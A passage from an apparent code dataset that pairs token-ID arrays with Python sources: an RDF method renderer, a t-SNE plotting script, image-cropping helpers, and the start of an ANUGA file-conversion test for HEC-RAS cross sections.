29889,
1672,
7077,
29979,
8456,
3718,
584,
313,
15099,
568,
29911,
1680,
29934,
1698,
29891,
17079,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29900,
29892,
5852,
29892,
6213,
29892,
1952,
520,
1542,
29889,
7698,
1529,
1692,
29892,
9849,
29911,
1680,
29934,
1698,
29891,
17079,
511,
29871,
13,
12,
29911,
1680,
1542,
29889,
5265,
15176,
19926,
584,
313,
15099,
568,
29911,
1680,
12284,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29900,
29892,
5852,
29892,
6213,
29892,
1952,
520,
1542,
29889,
3970,
7466,
1307,
29892,
9849,
29911,
1680,
12284,
511,
29871,
13,
29913,
13,
13,
13,
4836,
488,
1293,
353,
320,
13,
29912,
12,
7653,
488,
1542,
29889,
3738,
1525,
584,
313,
15099,
568,
7653,
488,
18654,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
10353,
29871,
13,
12,
7653,
488,
1542,
29889,
5265,
29954,
3912,
29940,
4214,
29896,
584,
313,
15099,
568,
7653,
488,
20769,
1076,
29896,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
10353,
29871,
13,
12,
7653,
488,
1542,
29889,
5265,
29954,
3912,
29940,
4214,
29906,
584,
313,
15099,
568,
7653,
488,
20769,
1076,
29906,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
10353,
29871,
13,
12,
7653,
488,
1542,
29889,
1718,
25180,
584,
313,
15099,
568,
7653,
488,
1433,
798,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
10353,
29871,
13,
12,
7653,
488,
1542,
29889,
13152,
29902,
3094,
584,
313,
15099,
568,
7653,
488,
9837,
2285,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
10353,
29871,
13,
12,
7653,
488,
1542,
29889,
29933,
6488,
29933,
584,
313,
15099,
568,
7653,
488,
29933,
3424,
29892,
29871,
29896,
29892,
29871,
29896,
29892,
10353,
29871,
13,
29913,
13,
13,
2
] |
skos/method.py | edmondchuc/voc-view | 3 | 15192 | <filename>skos/method.py
from pyldapi.renderer import Renderer
from pyldapi.view import View
from flask import render_template, Response
from rdflib import Graph, URIRef, BNode
import skos
from skos.common_properties import CommonPropertiesMixin
from config import Config
class Method(CommonPropertiesMixin):
def __init__(self, uri):
CommonPropertiesMixin.__init__(self, uri)
self.uri = uri
self.purpose = skos.get_method_purpose(uri)
self.scope = skos.get_method_scope(uri)
self.equipment = skos.get_method_equipment(uri)
self.time_required = skos.get_method_time_required(uri)
self.instructions = skos.get_method_instructions(uri)
self.additional_note = skos.get_method_additional_note(uri)
self.parameters = skos.get_parameter_relations(uri)
self.categorical_variables = skos.get_categorical_variables_relations(uri)
class MethodRenderer(Renderer):
def __init__(self, uri, request):
self.uri = uri
views = {
'method': View(
'Method',
'A TERN method.',
['text/html'] + Renderer.RDF_MIMETYPES,
'text/html',
namespace='https://w3id.org/tern/ontologies/tern/'
)
}
super().__init__(request, uri, views, 'method')
# TODO: Make a base class and make this a method of the base class.
def render_rdf(self):
g = Graph()
for subj, pred, obj in Config.g.triples((URIRef(self.uri), None, None)):
g.add((subj, pred, obj))
if type(obj) == BNode:
for s, p, o in Config.g.triples((obj, None, None)):
g.add((s, p, o))
return Response(g.serialize(format=self.format), mimetype=self.format)
def render(self):
if not hasattr(self, 'format'):
self.format = 'text/html'
if self.view == 'method':
if self.format == 'text/html':
cc = Method(self.uri)
return render_template('method.html', title=cc.label, c=cc,
skos_class=('https://w3id.org/tern/ontologies/tern/Method', 'Method'),
formats=[(format, format.split('/')[-1]) for format in self.views.get('method').formats])
elif self.format in Renderer.RDF_MIMETYPES:
return self.render_rdf()
else:
# In theory, this line should never execute because if an invalid format has been entered, the pyldapi
# will default to the default format. In this case, The default format for the default view (skos) is
# text/html.
raise RuntimeError('Invalid format error')
else:
# Let pyldapi handle the rendering of the 'alternates' view.
return super(MethodRenderer, self).render()
| [
1,
529,
9507,
29958,
808,
359,
29914,
5696,
29889,
2272,
13,
3166,
11451,
430,
2754,
29889,
9482,
261,
1053,
26000,
261,
13,
3166,
11451,
430,
2754,
29889,
1493,
1053,
4533,
13,
3166,
29784,
1053,
4050,
29918,
6886,
29892,
13291,
13,
3166,
364,
2176,
1982,
1053,
12367,
29892,
23539,
5620,
29892,
350,
4247,
13,
13,
5215,
2071,
359,
13,
3166,
2071,
359,
29889,
9435,
29918,
11330,
1053,
13103,
11857,
29924,
861,
262,
13,
3166,
2295,
1053,
12782,
13,
13,
13,
1990,
8108,
29898,
18877,
11857,
29924,
861,
262,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
21333,
1125,
13,
4706,
13103,
11857,
29924,
861,
262,
17255,
2344,
12035,
1311,
29892,
21333,
29897,
13,
4706,
1583,
29889,
5338,
353,
21333,
13,
4706,
1583,
29889,
15503,
4220,
353,
2071,
359,
29889,
657,
29918,
5696,
29918,
15503,
4220,
29898,
5338,
29897,
13,
4706,
1583,
29889,
6078,
353,
2071,
359,
29889,
657,
29918,
5696,
29918,
6078,
29898,
5338,
29897,
13,
4706,
1583,
29889,
1686,
666,
358,
353,
2071,
359,
29889,
657,
29918,
5696,
29918,
1686,
666,
358,
29898,
5338,
29897,
13,
4706,
1583,
29889,
2230,
29918,
12403,
353,
2071,
359,
29889,
657,
29918,
5696,
29918,
2230,
29918,
12403,
29898,
5338,
29897,
13,
4706,
1583,
29889,
2611,
582,
1953,
353,
2071,
359,
29889,
657,
29918,
5696,
29918,
2611,
582,
1953,
29898,
5338,
29897,
13,
4706,
1583,
29889,
1202,
3245,
29918,
6812,
353,
2071,
359,
29889,
657,
29918,
5696,
29918,
1202,
3245,
29918,
6812,
29898,
5338,
29897,
13,
4706,
1583,
29889,
16744,
353,
2071,
359,
29889,
657,
29918,
15501,
29918,
2674,
800,
29898,
5338,
29897,
13,
4706,
1583,
29889,
29883,
20440,
936,
29918,
20897,
353,
2071,
359,
29889,
657,
29918,
29883,
20440,
936,
29918,
20897,
29918,
2674,
800,
29898,
5338,
29897,
13,
13,
13,
1990,
8108,
21323,
29898,
21323,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
21333,
29892,
2009,
1125,
13,
4706,
1583,
29889,
5338,
353,
21333,
13,
13,
4706,
8386,
353,
426,
13,
9651,
525,
5696,
2396,
4533,
29898,
13,
18884,
525,
4062,
742,
13,
18884,
525,
29909,
323,
1001,
29940,
1158,
29889,
742,
13,
18884,
6024,
726,
29914,
1420,
2033,
718,
26000,
261,
29889,
29934,
4037,
29918,
29924,
8890,
15631,
29925,
2890,
29892,
13,
18884,
525,
726,
29914,
1420,
742,
13,
18884,
7397,
2433,
991,
597,
29893,
29941,
333,
29889,
990,
29914,
725,
29914,
609,
11763,
29914,
725,
22208,
13,
9651,
1723,
13,
4706,
500,
13,
13,
4706,
2428,
2141,
1649,
2344,
12035,
3827,
29892,
21333,
29892,
8386,
29892,
525,
5696,
1495,
13,
13,
1678,
396,
14402,
29901,
8561,
263,
2967,
770,
322,
1207,
445,
263,
1158,
310,
278,
2967,
770,
29889,
13,
1678,
822,
4050,
29918,
29878,
2176,
29898,
1311,
1125,
13,
4706,
330,
353,
12367,
580,
13,
13,
4706,
363,
1014,
29926,
29892,
4450,
29892,
5446,
297,
12782,
29889,
29887,
29889,
3626,
2701,
3552,
15551,
5620,
29898,
1311,
29889,
5338,
511,
6213,
29892,
6213,
22164,
13,
9651,
330,
29889,
1202,
3552,
1491,
29926,
29892,
4450,
29892,
5446,
876,
13,
9651,
565,
1134,
29898,
5415,
29897,
1275,
350,
4247,
29901,
13,
18884,
363,
269,
29892,
282,
29892,
288,
297,
12782,
29889,
29887,
29889,
3626,
2701,
3552,
5415,
29892,
6213,
29892,
6213,
22164,
13,
462,
1678,
330,
29889,
1202,
3552,
29879,
29892,
282,
29892,
288,
876,
13,
13,
4706,
736,
13291,
29898,
29887,
29889,
643,
6646,
29898,
4830,
29922,
1311,
29889,
4830,
511,
286,
17528,
668,
29922,
1311,
29889,
4830,
29897,
13,
13,
1678,
822,
4050,
29898,
1311,
1125,
13,
4706,
565,
451,
756,
5552,
29898,
1311,
29892,
525,
4830,
29374,
13,
9651,
1583,
29889,
4830,
353,
525,
726,
29914,
1420,
29915,
13,
4706,
565,
1583,
29889,
1493,
1275,
525,
5696,
2396,
13,
9651,
565,
1583,
29889,
4830,
1275,
525,
726,
29914,
1420,
2396,
13,
18884,
21759,
353,
8108,
29898,
1311,
29889,
5338,
29897,
13,
18884,
736,
4050,
29918,
6886,
877,
5696,
29889,
1420,
742,
3611,
29922,
617,
29889,
1643,
29892,
274,
29922,
617,
29892,
13,
462,
462,
539,
2071,
359,
29918,
1990,
29922,
877,
991,
597,
29893,
29941,
333,
29889,
990,
29914,
725,
29914,
609,
11763,
29914,
725,
29914,
4062,
742,
525,
4062,
5477,
13,
462,
462,
539,
21971,
11759,
29898,
4830,
29892,
3402,
29889,
5451,
11219,
1495,
14352,
29896,
2314,
363,
3402,
297,
1583,
29889,
7406,
29889,
657,
877,
5696,
2824,
689,
1446,
2314,
13,
9651,
25342,
1583,
29889,
4830,
297,
26000,
261,
29889,
29934,
4037,
29918,
29924,
8890,
15631,
29925,
2890,
29901,
13,
18884,
736,
1583,
29889,
9482,
29918,
29878,
2176,
580,
13,
9651,
1683,
29901,
13,
18884,
396,
512,
6368,
29892,
445,
1196,
881,
2360,
6222,
1363,
565,
385,
8340,
3402,
756,
1063,
7802,
29892,
278,
11451,
430,
2754,
13,
18884,
396,
674,
2322,
304,
278,
2322,
3402,
29889,
512,
445,
1206,
29892,
450,
2322,
3402,
363,
278,
2322,
1776,
313,
808,
359,
29897,
338,
13,
18884,
396,
1426,
29914,
1420,
29889,
13,
18884,
12020,
24875,
2392,
877,
13919,
3402,
1059,
1495,
13,
4706,
1683,
29901,
13,
9651,
396,
2803,
11451,
430,
2754,
4386,
278,
15061,
310,
278,
525,
26123,
1078,
29915,
1776,
29889,
13,
9651,
736,
2428,
29898,
4062,
21323,
29892,
1583,
467,
9482,
580,
13,
2
] |
utils/tsne.py | rafarez/paiss | 3 | 100597 | from sklearn.decomposition import PCA
from sklearn.manifold import TSNE
import time
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import matplotlib.colors as colors
import matplotlib.cm as cmx
import os
np.random.seed(0)
def do_tsne(feats, labs, cls, show_unlabeled=False, sec='', savefig=True):
# hyperparameters:
n_pca = 256
n_cls = 12
n_dim = 2
n_iter = 300
# prepare data:
labs = [int(i) for i in labs]
slabs = list(set(labs))
# map class ids to names:
if not isinstance(cls, np.ndarray): cls = np.array(cls)
cls = np.array( ['unlabeled']+cls.tolist() )
cls_ind = range(feats.shape[0])
labsc = np.array([cls[labs[i]] for i in cls_ind])
#reduce dimensionality:
print('applying PCA...')
pca = PCA(n_components=n_pca)
featsc = pca.fit_transform(feats)
print('applying t-SNE...')
time_start = time.time()
tsne = TSNE(n_components=n_dim, verbose=1, perplexity=40, n_iter=n_iter)
feats_tsne = tsne.fit_transform(featsc)
print('t-SNE done! Time elapsed: {:.3f} seconds'.format(time.time()-time_start))
# Visualize the results
fig, ax = plt.subplots()
values = range(n_cls) if show_unlabeled else range(1,n_cls)
jet = cm = plt.get_cmap('jet')
cNorm = colors.Normalize(vmin=0, vmax=values[-1])
scalarMap = cmx.ScalarMappable(norm=cNorm, cmap=jet)
for c in values:
colorVal = np.array(scalarMap.to_rgba(c), ndmin=2)
embed_idx = np.where(labsc == cls[c])[0]
embed_x = feats_tsne[embed_idx,0]
embed_y = feats_tsne[embed_idx,1]
ax.scatter(embed_x, embed_y, c=colorVal, label=cls[c])
plt.axis('off')
plt.axis('equal')
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
fig.tight_layout()
plt.show()
print('2-dimensional t-sne plot.')
if savefig:
out_fname = 'results/tsne_sect-{}.png'.format(sec)
if not os.path.exists(os.path.dirname(out_fname)):
os.makedirs(os.path.dirname(out_fname))
plt.savefig(out_fname, bbox_inches='tight')
plt.close()
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description='Run t-SNE on features representations for retrieval')
parser.add_argument('--dataset', '-d', type=str, default='oxford', choices=('oxford'), help='selects the dataset')
parser.add_argument('--backbone', '-b', type=str, default='alexnet', choices=('alexnet', 'resnet18', 'resnet50'), help='selects the backbone architecture')
parser.add_argument('--trained', '-t', type=str, default='classification', help='selects the task used to train the model')
parser.add_argument('--finetuned', '-f', type=bool, default=False, help='switchs if the model is finetuned (trained on landmarks) or not (trained on Imagenet)')
parser.add_argument('--show_unlabeled', '-s', type=bool, default=False, help='show unlabeled data')
args = parser.parse_args()
train_db = 'landmark' if args.finetuned else 'imagenet'
data_f = 'data/'+args.dataset+'_res_224_'+args.backbone+'_'+train_db+'_'+args.trained+'.npz'
data = np.load(data_f)
feats = data['feats']
labs = data['labs']
cls = ['landmark 1','landmark 2','landmark 3','landmark 4','landmark 5','landmark 6','landmark 7','landmark 8','landmark 9','landmark 10','landmark 11']
do_tsne(feats, labs, cls, sec='test')
| [
1,
515,
2071,
19668,
29889,
311,
510,
3283,
1053,
349,
5454,
13,
3166,
2071,
19668,
29889,
1171,
361,
1025,
1053,
323,
29903,
8186,
13,
5215,
931,
13,
5215,
22889,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
12655,
408,
7442,
13,
5215,
22889,
29889,
27703,
408,
11955,
13,
5215,
22889,
29889,
4912,
408,
7477,
29916,
13,
5215,
2897,
13,
13,
9302,
29889,
8172,
29889,
26776,
29898,
29900,
29897,
13,
13,
1753,
437,
29918,
1372,
484,
29898,
1725,
1446,
29892,
301,
6897,
29892,
1067,
29879,
29892,
1510,
29918,
348,
29880,
24025,
29922,
8824,
29892,
5226,
2433,
742,
4078,
1003,
29922,
5574,
1125,
13,
1678,
396,
11266,
16744,
29901,
13,
1678,
302,
29918,
29886,
1113,
29871,
353,
29871,
29906,
29945,
29953,
13,
1678,
302,
29918,
25932,
29871,
353,
29871,
29896,
29906,
13,
1678,
302,
29918,
6229,
29871,
353,
29871,
29906,
13,
1678,
302,
29918,
1524,
353,
29871,
29941,
29900,
29900,
13,
13,
1678,
396,
19012,
848,
29901,
13,
1678,
301,
6897,
29871,
353,
518,
524,
29898,
29875,
29897,
363,
474,
297,
301,
6897,
29962,
13,
1678,
2243,
6897,
353,
1051,
29898,
842,
29898,
29880,
6897,
876,
13,
13,
1678,
396,
2910,
770,
18999,
304,
2983,
29901,
13,
1678,
565,
451,
338,
8758,
29898,
25932,
29892,
7442,
29889,
299,
2378,
1125,
1067,
29879,
353,
7442,
29889,
2378,
29898,
25932,
29897,
13,
1678,
1067,
29879,
268,
353,
7442,
29889,
2378,
29898,
6024,
348,
29880,
24025,
2033,
29974,
25932,
29889,
25027,
391,
580,
1723,
13,
1678,
1067,
29879,
29918,
513,
353,
3464,
29898,
1725,
1446,
29889,
12181,
29961,
29900,
2314,
13,
1678,
9775,
1557,
259,
353,
7442,
29889,
2378,
4197,
25932,
29961,
29880,
6897,
29961,
29875,
5262,
363,
474,
297,
1067,
29879,
29918,
513,
2314,
13,
13,
1678,
396,
17469,
22112,
537,
29901,
13,
1678,
1596,
877,
932,
5890,
349,
5454,
856,
1495,
13,
1678,
282,
1113,
1678,
353,
349,
5454,
29898,
29876,
29918,
14036,
29922,
29876,
29918,
29886,
1113,
29897,
13,
1678,
1238,
1446,
29883,
353,
282,
1113,
29889,
9202,
29918,
9067,
29898,
1725,
1446,
29897,
13,
268,
13,
1678,
1596,
877,
932,
5890,
260,
29899,
29903,
8186,
856,
1495,
13,
1678,
931,
29918,
2962,
353,
931,
29889,
2230,
580,
13,
1678,
18696,
484,
353,
323,
29903,
8186,
29898,
29876,
29918,
14036,
29922,
29876,
29918,
6229,
29892,
26952,
29922,
29896,
29892,
639,
10709,
537,
29922,
29946,
29900,
29892,
302,
29918,
1524,
29922,
29876,
29918,
1524,
29897,
13,
1678,
1238,
1446,
29918,
1372,
484,
353,
18696,
484,
29889,
9202,
29918,
9067,
29898,
1725,
1446,
29883,
29897,
13,
13,
1678,
1596,
877,
29873,
29899,
29903,
8186,
2309,
29991,
5974,
560,
28170,
29901,
12365,
29889,
29941,
29888,
29913,
6923,
4286,
4830,
29898,
2230,
29889,
2230,
580,
29899,
2230,
29918,
2962,
876,
13,
13,
1678,
396,
9249,
675,
278,
2582,
13,
1678,
2537,
29892,
4853,
259,
353,
14770,
29889,
1491,
26762,
580,
13,
1678,
1819,
1678,
353,
3464,
29898,
29876,
29918,
25932,
29897,
565,
1510,
29918,
348,
29880,
24025,
1683,
3464,
29898,
29896,
29892,
29876,
29918,
25932,
29897,
13,
1678,
22588,
29871,
353,
7477,
353,
14770,
29889,
657,
29918,
29883,
1958,
877,
4026,
1495,
13,
1678,
274,
29940,
555,
268,
353,
11955,
29889,
19077,
675,
29898,
29894,
1195,
29922,
29900,
29892,
325,
3317,
29922,
5975,
14352,
29896,
2314,
13,
1678,
17336,
3388,
353,
7477,
29916,
29889,
29636,
279,
9689,
519,
29898,
12324,
29922,
29883,
29940,
555,
29892,
274,
1958,
29922,
4026,
29897,
13,
268,
13,
1678,
363,
274,
297,
1819,
29901,
13,
4706,
2927,
1440,
29871,
353,
7442,
29889,
2378,
29898,
19529,
279,
3388,
29889,
517,
29918,
11007,
2291,
29898,
29883,
511,
29871,
299,
1195,
29922,
29906,
29897,
13,
4706,
8297,
29918,
13140,
353,
7442,
29889,
3062,
29898,
8205,
1557,
1275,
1067,
29879,
29961,
29883,
2314,
29961,
29900,
29962,
13,
4706,
8297,
29918,
29916,
259,
353,
1238,
1446,
29918,
1372,
484,
29961,
17987,
29918,
13140,
29892,
29900,
29962,
13,
4706,
8297,
29918,
29891,
259,
353,
1238,
1446,
29918,
1372,
484,
29961,
17987,
29918,
13140,
29892,
29896,
29962,
13,
4706,
4853,
29889,
1557,
2620,
29898,
17987,
29918,
29916,
29892,
8297,
29918,
29891,
29892,
274,
29922,
2780,
1440,
29892,
3858,
29922,
25932,
29961,
29883,
2314,
13,
13,
1678,
14770,
29889,
8990,
877,
2696,
1495,
13,
1678,
14770,
29889,
8990,
877,
11745,
1495,
13,
1678,
14770,
29889,
26172,
29898,
29890,
1884,
29918,
517,
29918,
25367,
7607,
29896,
29889,
29900,
29945,
29892,
29871,
29896,
511,
1180,
29922,
29906,
29892,
5139,
1165,
267,
8305,
29922,
29900,
1846,
13,
1678,
2537,
29889,
29873,
523,
29918,
2680,
580,
13,
1678,
14770,
29889,
4294,
580,
13,
1678,
1596,
877,
29906,
29899,
12531,
260,
29899,
29879,
484,
6492,
29889,
1495,
13,
13,
1678,
565,
4078,
1003,
29901,
13,
4706,
714,
29918,
29888,
978,
353,
525,
9902,
29914,
1372,
484,
29918,
8803,
29899,
29912,
1836,
2732,
4286,
4830,
29898,
3471,
29897,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
359,
29889,
2084,
29889,
25721,
29898,
449,
29918,
29888,
978,
22164,
13,
9651,
2897,
29889,
29885,
12535,
12935,
29898,
359,
29889,
2084,
29889,
25721,
29898,
449,
29918,
29888,
978,
876,
13,
4706,
14770,
29889,
7620,
1003,
29898,
449,
29918,
29888,
978,
29892,
289,
1884,
29918,
262,
6609,
2433,
29873,
523,
1495,
13,
13,
1678,
14770,
29889,
5358,
580,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1053,
1852,
5510,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
6558,
260,
29899,
29903,
8186,
373,
5680,
22540,
363,
5663,
16837,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
24713,
742,
17411,
29881,
742,
1134,
29922,
710,
29892,
2322,
2433,
2251,
4006,
742,
19995,
29922,
877,
2251,
4006,
5477,
1371,
2433,
2622,
29879,
278,
8783,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
1627,
15933,
742,
17411,
29890,
742,
1134,
29922,
710,
29892,
2322,
2433,
744,
29916,
1212,
742,
19995,
29922,
877,
744,
29916,
1212,
742,
525,
690,
1212,
29896,
29947,
742,
525,
690,
1212,
29945,
29900,
5477,
1371,
2433,
2622,
29879,
278,
1250,
15933,
11258,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
3018,
1312,
742,
17411,
29873,
742,
1134,
29922,
710,
29892,
2322,
2433,
1990,
2450,
742,
1371,
2433,
2622,
29879,
278,
3414,
1304,
304,
7945,
278,
1904,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
4951,
300,
348,
287,
742,
17411,
29888,
742,
1134,
29922,
11227,
29892,
2322,
29922,
8824,
29892,
1371,
2433,
15123,
29879,
565,
278,
1904,
338,
1436,
300,
348,
287,
313,
3018,
1312,
373,
2982,
22848,
29897,
470,
451,
313,
3018,
1312,
373,
1954,
5370,
300,
29897,
1495,
13,
1678,
13812,
29889,
1202,
29918,
23516,
877,
489,
4294,
29918,
348,
29880,
24025,
742,
17411,
29879,
742,
1134,
29922,
11227,
29892,
2322,
29922,
8824,
29892,
1371,
2433,
4294,
443,
29880,
24025,
848,
1495,
13,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
1678,
7945,
29918,
2585,
353,
525,
1049,
3502,
29915,
565,
6389,
29889,
4951,
300,
348,
287,
1683,
525,
326,
5370,
300,
29915,
13,
1678,
848,
29918,
29888,
353,
525,
1272,
29914,
18717,
5085,
29889,
24713,
29974,
15972,
690,
29918,
29906,
29906,
29946,
29918,
18717,
5085,
29889,
1627,
15933,
29974,
15972,
18717,
14968,
29918,
2585,
29974,
15972,
18717,
5085,
29889,
3018,
1312,
29974,
4286,
9302,
29920,
29915,
13,
1678,
848,
259,
353,
7442,
29889,
1359,
29898,
1272,
29918,
29888,
29897,
13,
1678,
1238,
1446,
29871,
353,
848,
1839,
1725,
1446,
2033,
13,
1678,
301,
6897,
259,
353,
848,
1839,
29880,
6897,
2033,
13,
1678,
1067,
29879,
353,
6024,
1049,
3502,
29871,
29896,
3788,
1049,
3502,
29871,
29906,
3788,
1049,
3502,
29871,
29941,
3788,
1049,
3502,
29871,
29946,
3788,
1049,
3502,
29871,
29945,
3788,
1049,
3502,
29871,
29953,
3788,
1049,
3502,
29871,
29955,
3788,
1049,
3502,
29871,
29947,
3788,
1049,
3502,
29871,
29929,
3788,
1049,
3502,
29871,
29896,
29900,
3788,
1049,
3502,
29871,
29896,
29896,
2033,
13,
13,
1678,
437,
29918,
1372,
484,
29898,
1725,
1446,
29892,
301,
6897,
29892,
1067,
29879,
29892,
5226,
2433,
1688,
1495,
13,
2
] |
thing_gym_ros/envs/utils.py | utiasSTARS/thing-gym-ros | 1 | 4301 | <gh_stars>1-10
""" Various generic env utilties. """
def center_crop_img(img, crop_zoom):
""" crop_zoom is amount to "zoom" into the image. E.g. 2.0 would cut out half of the width,
half of the height, and only give the center. """
raw_height, raw_width = img.shape[:2]
center = raw_height // 2, raw_width // 2
crop_size = raw_height // crop_zoom, raw_width // crop_zoom
min_y, max_y = int(center[0] - crop_size[0] // 2), int(center[0] + crop_size[0] // 2)
min_x, max_x = int(center[1] - crop_size[1] // 2), int(center[1] + crop_size[1] // 2)
img_cropped = img[min_y:max_y, min_x:max_x]
return img_cropped
def crop_img(img, relative_corners):
""" relative_corners are floats between 0 and 1 designating where the corners of a crop box
should be ([[top_left_x, top_left_y], [bottom_right_x, bottom_right_y]]).
e.g. [[0, 0], [1, 1]] would be the full image, [[0.5, 0.5], [1, 1]] would be bottom right."""
rc = relative_corners
raw_height, raw_width = img.shape[:2]
top_left_pix = [int(rc[0][0] * raw_width), int(rc[0][1] * raw_height)]
bottom_right_pix = [int(rc[1][0] * raw_width), int(rc[1][1] * raw_height)]
img_cropped = img[top_left_pix[1]:bottom_right_pix[1], top_left_pix[0]:bottom_right_pix[0]]
return img_cropped | [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
15945,
29908,
9586,
681,
10035,
8829,
3667,
2938,
29889,
9995,
13,
13,
1753,
4818,
29918,
29883,
1336,
29918,
2492,
29898,
2492,
29892,
274,
1336,
29918,
2502,
290,
1125,
13,
1678,
9995,
274,
1336,
29918,
2502,
290,
338,
5253,
304,
376,
2502,
290,
29908,
964,
278,
1967,
29889,
382,
29889,
29887,
29889,
29871,
29906,
29889,
29900,
723,
5700,
714,
4203,
310,
278,
2920,
29892,
13,
1678,
4203,
310,
278,
3171,
29892,
322,
871,
2367,
278,
4818,
29889,
9995,
13,
1678,
10650,
29918,
3545,
29892,
10650,
29918,
2103,
353,
10153,
29889,
12181,
7503,
29906,
29962,
13,
1678,
4818,
353,
10650,
29918,
3545,
849,
29871,
29906,
29892,
10650,
29918,
2103,
849,
29871,
29906,
13,
1678,
274,
1336,
29918,
2311,
353,
10650,
29918,
3545,
849,
274,
1336,
29918,
2502,
290,
29892,
10650,
29918,
2103,
849,
274,
1336,
29918,
2502,
290,
13,
1678,
1375,
29918,
29891,
29892,
4236,
29918,
29891,
353,
938,
29898,
5064,
29961,
29900,
29962,
448,
274,
1336,
29918,
2311,
29961,
29900,
29962,
849,
29871,
29906,
511,
938,
29898,
5064,
29961,
29900,
29962,
718,
274,
1336,
29918,
2311,
29961,
29900,
29962,
849,
29871,
29906,
29897,
13,
1678,
1375,
29918,
29916,
29892,
4236,
29918,
29916,
353,
938,
29898,
5064,
29961,
29896,
29962,
448,
274,
1336,
29918,
2311,
29961,
29896,
29962,
849,
29871,
29906,
511,
938,
29898,
5064,
29961,
29896,
29962,
718,
274,
1336,
29918,
2311,
29961,
29896,
29962,
849,
29871,
29906,
29897,
13,
1678,
10153,
29918,
24077,
2986,
353,
10153,
29961,
1195,
29918,
29891,
29901,
3317,
29918,
29891,
29892,
1375,
29918,
29916,
29901,
3317,
29918,
29916,
29962,
13,
1678,
736,
10153,
29918,
24077,
2986,
13,
13,
1753,
274,
1336,
29918,
2492,
29898,
2492,
29892,
6198,
29918,
29883,
1398,
414,
1125,
13,
1678,
9995,
6198,
29918,
29883,
1398,
414,
526,
5685,
1446,
1546,
29871,
29900,
322,
29871,
29896,
2874,
1218,
988,
278,
26995,
310,
263,
274,
1336,
3800,
13,
1678,
881,
367,
313,
8999,
3332,
29918,
1563,
29918,
29916,
29892,
2246,
29918,
1563,
29918,
29891,
1402,
518,
8968,
29918,
1266,
29918,
29916,
29892,
5970,
29918,
1266,
29918,
29891,
5262,
467,
13,
13,
1678,
321,
29889,
29887,
29889,
5519,
29900,
29892,
29871,
29900,
1402,
518,
29896,
29892,
29871,
29896,
5262,
723,
367,
278,
2989,
1967,
29892,
5519,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29945,
1402,
518,
29896,
29892,
29871,
29896,
5262,
723,
367,
5970,
1492,
1213,
15945,
13,
1678,
364,
29883,
353,
6198,
29918,
29883,
1398,
414,
13,
1678,
10650,
29918,
3545,
29892,
10650,
29918,
2103,
353,
10153,
29889,
12181,
7503,
29906,
29962,
13,
1678,
2246,
29918,
1563,
29918,
29886,
861,
353,
518,
524,
29898,
2214,
29961,
29900,
3816,
29900,
29962,
334,
10650,
29918,
2103,
511,
938,
29898,
2214,
29961,
29900,
3816,
29896,
29962,
334,
10650,
29918,
3545,
4638,
13,
1678,
5970,
29918,
1266,
29918,
29886,
861,
353,
518,
524,
29898,
2214,
29961,
29896,
3816,
29900,
29962,
334,
10650,
29918,
2103,
511,
938,
29898,
2214,
29961,
29896,
3816,
29896,
29962,
334,
10650,
29918,
3545,
4638,
13,
1678,
10153,
29918,
24077,
2986,
353,
10153,
29961,
3332,
29918,
1563,
29918,
29886,
861,
29961,
29896,
5387,
8968,
29918,
1266,
29918,
29886,
861,
29961,
29896,
1402,
2246,
29918,
1563,
29918,
29886,
861,
29961,
29900,
5387,
8968,
29918,
1266,
29918,
29886,
861,
29961,
29900,
5262,
13,
1678,
736,
10153,
29918,
24077,
2986,
2
] |
anuga/file_conversion/tests/test_2pts.py | samcom12/anuga_core | 136 | 124193 | # external modules
import unittest
import tempfile
import shutil
import numpy as num
# ANUGA modules
from anuga.shallow_water.shallow_water_domain import Domain
from anuga.coordinate_transforms.geo_reference import Geo_reference
from anuga.file.sww import Write_sww, SWW_file
from anuga.abstract_2d_finite_volumes.generic_boundary_conditions \
import Transmissive_boundary
from anuga.config import netcdf_mode_r, netcdf_mode_w, netcdf_mode_a, \
netcdf_float
from anuga.geospatial_data.geospatial_data import Geospatial_data
# local modules
from anuga.file_conversion.sdf2pts import sdf2pts
from anuga.file_conversion.sww2pts import sww2pts
from pprint import pprint
class Test_2Pts(unittest.TestCase):
""" Test files that convert to pts format. """
def test_hecras_cross_sections2pts(self):
"""Test conversion from HECRAS cross sections in ascii format
to native NetCDF pts format
"""
import time, os
from anuga.file.netcdf import NetCDFFile
#Write test asc file
root = 'hecrastest'
filename = root+'.sdf'
fid = open(filename, 'w')
fid.write("""
# RAS export file created on Mon 15Aug2005 11:42
# by HEC-RAS Version 3.1.1
BEGIN HEADER:
UNITS: METRIC
DTM TYPE: TIN
DTM: v:\\1\\cit\\perth_topo\\river_tin
STREAM LAYER: c:\\x_local\\hecras\\21_02_03\\up_canning_cent3d.shp
CROSS-SECTION LAYER: c:\\x_local\\hecras\\21_02_03\\up_can_xs3d.shp
MAP PROJECTION: UTM
PROJECTION ZONE: 50
DATUM: AGD66
VERTICAL DATUM:
NUMBER OF REACHES: 19
NUMBER OF CROSS-SECTIONS: 2
END HEADER:
BEGIN CROSS-SECTIONS:
CROSS-SECTION:
STREAM ID:Southern-Wungong
REACH ID:Southern-Wungong
STATION:21410
CUT LINE:
